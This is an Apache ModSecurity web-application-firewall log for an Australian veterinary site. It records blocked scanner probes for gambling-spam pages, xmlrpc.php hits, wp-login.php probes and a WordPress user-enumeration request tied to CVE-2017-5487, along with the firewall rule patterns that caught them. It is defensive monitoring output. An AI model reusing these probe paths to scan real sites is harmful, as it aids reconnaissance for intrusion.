[Sun Feb 08 21:43:04.701772 2026] [:error] [pid 24421:tid 24435] [client 65.108.2.171:17776] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYiS6Kp7cTzhX5M1IP89_wAAAAQ"]
[Sun Feb 08 21:43:07.273218 2026] [:error] [pid 24421:tid 24455] [client 65.108.2.171:63586] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYiS66p7cTzhX5M1IP8-CAAAABg"]
[Sun Feb 08 21:43:09.843777 2026] [:error] [pid 24421:tid 24451] [client 65.108.2.171:63592] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYiS7ap7cTzhX5M1IP8-CwAAABQ"]
[Sun Feb 08 21:43:12.416194 2026] [:error] [pid 54609:tid 54627] [client 65.108.2.171:63602] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYiS8KRRnRH9N52BW9K71AAAAZA"]
[Sun Feb 08 21:43:15.016772 2026] [:error] [pid 58631:tid 58644] [client 65.108.2.171:14132] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYiS83-r9Xz6zi7KqKyYLQAAAcs"]
[Sun Feb 08 21:43:17.596907 2026] [:error] [pid 58631:tid 58637] [client 65.108.2.171:14144] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYiS9X-r9Xz6zi7KqKyYMAAAAcQ"]
[Sun Feb 08 21:43:20.009799 2026] [:error] [pid 43900:tid 43904] [client 65.108.2.171:14152] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYiS-OWrhnpm_Csk3kmwtgAAAUE"]
[Sun Feb 08 21:43:22.604352 2026] [:error] [pid 56906:tid 56929] [client 65.108.2.171:14168] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYiS-vxl3WX27-WXfDjVkgAAARU"]
[Sun Feb 08 21:43:25.031153 2026] [:error] [pid 56906:tid 56925] [client 65.108.2.171:62156] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYiS_fxl3WX27-WXfDjVlQAAARE"]
[Sun Feb 08 21:44:23.700940 2026] [:error] [pid 58631:tid 58646] [client 65.108.2.171:17382] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYiTN3-r9Xz6zi7KqKyYhAAAAc0"]
[Sun Feb 08 21:44:26.285204 2026] [:error] [pid 54609:tid 54636] [client 65.108.2.171:10628] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYiTOqRRnRH9N52BW9K8CQAAAZg"]
[Sun Feb 08 21:44:28.863431 2026] [:error] [pid 24423:tid 24493] [client 65.108.2.171:10640] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYiTPE3f9n1Y0TpV5YZ08AAAAIg"]
[Sun Feb 08 21:44:31.435152 2026] [:error] [pid 24422:tid 24479] [client 65.108.2.171:10644] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYiTPyNNjcLoSCLKhTeZbAAAAFU"]
[Sun Feb 08 21:44:34.024800 2026] [:error] [pid 24421:tid 24445] [client 65.108.2.171:10650] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYiTQqp7cTzhX5M1IP8-NgAAAA4"]
[Sun Feb 08 21:44:36.596777 2026] [:error] [pid 56906:tid 56913] [client 65.108.2.171:46418] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYiTRPxl3WX27-WXfDjVpgAAAQU"]
[Sun Feb 08 21:44:39.170566 2026] [:error] [pid 24422:tid 24467] [client 65.108.2.171:46422] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYiTRyNNjcLoSCLKhTeZdAAAAEk"]
[Sun Feb 08 21:44:41.752495 2026] [:error] [pid 24530:tid 24555] [client 65.108.2.171:46432] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYiTSUazNRCs1GRWrh4m2wAAANc"]
[Sun Feb 08 21:44:44.323339 2026] [:error] [pid 54609:tid 54620] [client 65.108.2.171:46438] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYiTTKRRnRH9N52BW9K8GAAAAYk"]
[Sun Feb 08 21:44:46.907905 2026] [:error] [pid 54609:tid 54612] [client 65.108.2.171:19180] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYiTTqRRnRH9N52BW9K8HgAAAYE"]
[Sun Feb 08 21:44:49.496729 2026] [:error] [pid 58631:tid 58640] [client 65.108.2.171:19182] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYiTUX-r9Xz6zi7KqKyYlQAAAcc"]
[Sun Feb 08 22:48:45.923687 2026] [:error] [pid 6630:tid 6637] [client 136.113.219.120:60304] [client 136.113.219.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.219.120, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYiiTZ2jf0FBTEb_cWT97QAAAgQ"]
[Sun Feb 08 22:48:48.791129 2026] [:error] [pid 6630:tid 6647] [client 136.113.219.120:60304] [client 136.113.219.120] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYiiUJ2jf0FBTEb_cWT98wAAAg4"]
[Sun Feb 08 22:48:50.879084 2026] [:error] [pid 6630:tid 6656] [client 136.113.219.120:60304] [client 136.113.219.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.219.120, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYiiUp2jf0FBTEb_cWT99gAAAhc"]
[Sun Feb 08 23:59:11.696075 2026] [:error] [pid 6662:tid 6669] [client 62.84.185.67:34338] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYiyz9-oEK1ut16KiNIWegAAAkM"]
[Sun Feb 08 23:59:14.455770 2026] [:error] [pid 9482:tid 9551] [client 62.84.185.67:34360] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYiy0sTkGH_puEFp5zPMkQAAA8w"]
[Sun Feb 08 23:59:16.936877 2026] [:error] [pid 6662:tid 6680] [client 62.84.185.67:5002] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYiy1N-oEK1ut16KiNIWfAAAAk4"]
[Sun Feb 08 23:59:19.672813 2026] [:error] [pid 6630:tid 6640] [client 62.84.185.67:5018] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYiy152jf0FBTEb_cWQIKQAAAgc"]
[Sun Feb 08 23:59:22.488859 2026] [:error] [pid 9482:tid 9554] [client 62.84.185.67:5024] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYiy2sTkGH_puEFp5zPMlAAAA88"]
[Sun Feb 08 23:59:25.186184 2026] [:error] [pid 6630:tid 6636] [client 62.84.185.67:5046] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYiy3Z2jf0FBTEb_cWQILgAAAgM"]
[Sun Feb 08 23:59:27.997415 2026] [:error] [pid 9422:tid 9441] [client 62.84.185.67:46138] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYiy369DqDJC68qBbyw31AAAAZA"]
[Sun Feb 08 23:59:30.616340 2026] [:error] [pid 43900:tid 43918] [client 62.84.185.67:46160] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYiy4uWrhnpm_Csk3knDCAAAAU8"]
[Sun Feb 08 23:59:33.113728 2026] [:error] [pid 6723:tid 6791] [client 62.84.185.67:46182] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYiy5Tkiu6gHwS33P0qIvAAAA0Y"]
[Sun Feb 08 23:59:35.729859 2026] [:error] [pid 6723:tid 6786] [client 62.84.185.67:46206] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYiy5zkiu6gHwS33P0qIvgAAA0E"]
[Sun Feb 08 23:59:38.491642 2026] [:error] [pid 6630:tid 6644] [client 62.84.185.67:31870] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYiy6p2jf0FBTEb_cWQINAAAAgs"]
[Sun Feb 08 23:59:41.159886 2026] [:error] [pid 6663:tid 6702] [client 62.84.185.67:31874] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYiy7WGI3uHqWdeZM76ZlQAAAok"]
[Sun Feb 08 23:59:43.765620 2026] [:error] [pid 24423:tid 24496] [client 62.84.185.67:31896] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYiy703f9n1Y0TpV5YaDmQAAAIs"]
[Sun Feb 08 23:59:46.333782 2026] [:error] [pid 6662:tid 6685] [client 62.84.185.67:31928] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYiy8t-oEK1ut16KiNIWhQAAAlM"]
[Sun Feb 08 23:59:49.089801 2026] [:error] [pid 9422:tid 9444] [client 62.84.185.67:42326] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYiy9a9DqDJC68qBbyw35AAAAZM"]
[Sun Feb 08 23:59:51.718828 2026] [:error] [pid 24530:tid 24555] [client 62.84.185.67:42348] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYiy90azNRCs1GRWrh414wAAANc"]
[Sun Feb 08 23:59:54.429912 2026] [:error] [pid 24530:tid 24552] [client 62.84.185.67:42366] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYiy-kazNRCs1GRWrh415wAAANQ"]
[Sun Feb 08 23:59:57.286905 2026] [:error] [pid 24423:tid 24490] [client 62.84.185.67:60610] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYiy_U3f9n1Y0TpV5YaDmwAAAIU"]
[Sun Feb 08 23:59:59.819838 2026] [:error] [pid 24423:tid 24508] [client 62.84.185.67:60630] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYiy_03f9n1Y0TpV5YaDngAAAJc"]
[Mon Feb 09 00:00:02.622152 2026] [:error] [pid 9482:tid 9545] [client 62.84.185.67:60650] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYizAsTkGH_puEFp5zPMpAAAA8Y"]
[Mon Feb 09 00:00:05.595568 2026] [:error] [pid 6630:tid 6643] [client 62.84.185.67:60666] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYizBZ2jf0FBTEb_cWQIPwAAAgo"]
[Mon Feb 09 00:00:40.803452 2026] [:error] [pid 6723:tid 6788] [client 62.84.185.67:21526] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYizKDkiu6gHwS33P0qI8wAAA0M"]
[Mon Feb 09 00:00:43.487010 2026] [:error] [pid 6663:tid 6697] [client 62.84.185.67:21544] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYizK2GI3uHqWdeZM76ZqwAAAoQ"]
[Mon Feb 09 00:00:46.040180 2026] [:error] [pid 9482:tid 9542] [client 62.84.185.67:21546] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYizLsTkGH_puEFp5zPMsgAAA8M"]
[Mon Feb 09 00:00:48.587571 2026] [:error] [pid 24530:tid 24543] [client 62.84.185.67:48012] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYizMEazNRCs1GRWrh41_wAAAMs"]
[Mon Feb 09 00:00:51.207878 2026] [:error] [pid 24421:tid 24437] [client 62.84.185.67:48020] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYizM6p7cTzhX5M1IP9SLAAAAAY"]
[Mon Feb 09 04:45:02.482704 2026] [:error] [pid 48044:tid 48051] [client 74.7.243.231:41920] [client 74.7.243.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.243.231, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYj1zpvmvsMP5E03sZK0tQAAAMU"], referer: https://vetstars.com.au/
[Mon Feb 09 05:45:24.699458 2026] [:error] [pid 18303:tid 18323] [client 106.63.1.8:14103] [client 106.63.1.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYkD9EY7TEaZkFrGG4nauQAAARI"]
[Mon Feb 09 05:45:27.661191 2026] [:error] [pid 47938:tid 47984] [client 106.63.1.8:14533] [client 106.63.1.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYkD97VCzWE6fQJEkNIguQAAAEU"]
[Mon Feb 09 05:58:45.106820 2026] [:error] [pid 18303:tid 18314] [client 74.7.228.148:44376] [client 74.7.228.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.228.148, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYkHFUY7TEaZkFrGG4nhnAAAAQk"], referer: https://vetstars.com.au/
[Mon Feb 09 07:08:09.604266 2026] [:error] [pid 60508:tid 60517] [client 49.51.52.250:44416] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYkXWeXDvLC4ADfnEzMVJAAAAYc"]
